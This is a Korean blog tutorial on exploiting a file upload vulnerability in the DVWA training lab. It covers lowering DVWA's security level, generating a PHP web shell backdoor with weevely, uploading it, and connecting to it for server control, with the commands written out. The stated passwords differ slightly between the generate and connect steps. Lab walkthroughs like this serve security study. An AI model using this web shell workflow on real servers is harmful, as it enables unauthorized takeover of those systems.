- 웹 사이트의 취약점 중에서 가장 단순한 형태의 취약점이다.
- 실행가능한 PHP 파일 셸을 업로드하여, 공격 대상 서버를 완전히 제어할 수 있다.
- PHP가 아닌 다른 언어를 사용한다면, 그에 맞는 언어로 올려서 제어할 수도 있다.
- 따라서, 대상에 대한 충분한 정보수집은 필수다.
- 파일업로드 취약점 공격 테스트를 진행하기에 앞서, 해당 테스트를 진행하기에 알맞은 웹 애플리케이션을 소개한다.
- DVWA라는 웹 어플리케이션으로 웹 사이트의 다양한 취약점을 구성해놓았다.
- 취약점이 어떻게 이루어지는지 파악하고 공부할 수 있는 좋은 웹 애플리케이션이다.
[웹 사이트 파일 업로드 취약점 공격]
1. DVWA에 접속한다.
- Username = admin / Password = password로 접속할 수 있다.
2. DVWA Security 강도를 낮추어야한다.
- 최하위 low로 값을 변경한다.
3. 대상 웹사이트가 사진과 같은 이미지 업로드를 허용하는 경우가 있다.
- Browse를 눌러서 적당한 이미지를 업로드해본다.
- 정상적으로 업로드가 되었으며, 저장된 디렉토리까지 출력되었다.
- 웹 브라우저에서 이동하여, 올렸던 이미지 파일을 볼 수 있다.
- 이렇게, 업로드할 수 있도록 구성된 웹 페이지에 백도어를 업로드하여 서버의 권한을 가져오려고 한다.
Weevely
- 웹 셸 백도어를 만들어주는 도구다.
- 명령어 개요
weevely generate [password] [file name]
- 백도어 파일을 만들며, 연결할 때의 password까지 지정한다.
weevely [url to file] [password]
- 생성했던 백도어 파일의 password를 입력하여 업로드한 파일과 연결한다.
weevely generate 123456798 /root/shell.php
- /root/shell.php라는 이름을 가진 파일을 생성하는데, 연결할 때 필요한 password는 123456789이다.
- 해당 파일을 업로드하였다.
- 위에서 이미지를 보았던 것처럼 확인해볼 수 있다.
- 파일을 확인했을때, 흰 화면만 나오는데 Shell.php의 파일을 오픈한 것이다.
- 이제, 이 백도어 파일에 연결하여 서버의 권한을 가져올 수 있다.
weevely http://192.168.1.134/dvwa/hackable/uploads/shell.php 123456789
- password 123456789를 가지고 http://192.168.1.134/dvwa/hackable/uploads/shell.php와 연결한다.
- Session이 열리면서, 웹 서버로의 접속이 완료되었다.
- 커널 정보부터 현재 위치 그리고 최상위 디렉토리까지 이동이 가능하다.
'IT > ㄴ Web Site Hacking' 카테고리의 다른 글
[Linux] 웹 사이트 로컬 / 원격 파일 인클루전 취약점 공격 [웹 사이트 해킹 / 파일 인클루전 / GPT에게 물어보기] (0) | 2023.07.14 |
---|---|
[Linux] 웹 사이트 코드 실행 취약점 공격 [웹 사이트 해킹 / 코드 실행 취약점] (0) | 2023.07.14 |
[Linux] 웹 사이트 파일 및 디렉토리 정보 수집 도구 dirb [웹 사이트 해킹 / 정보 수집] (0) | 2023.07.12 |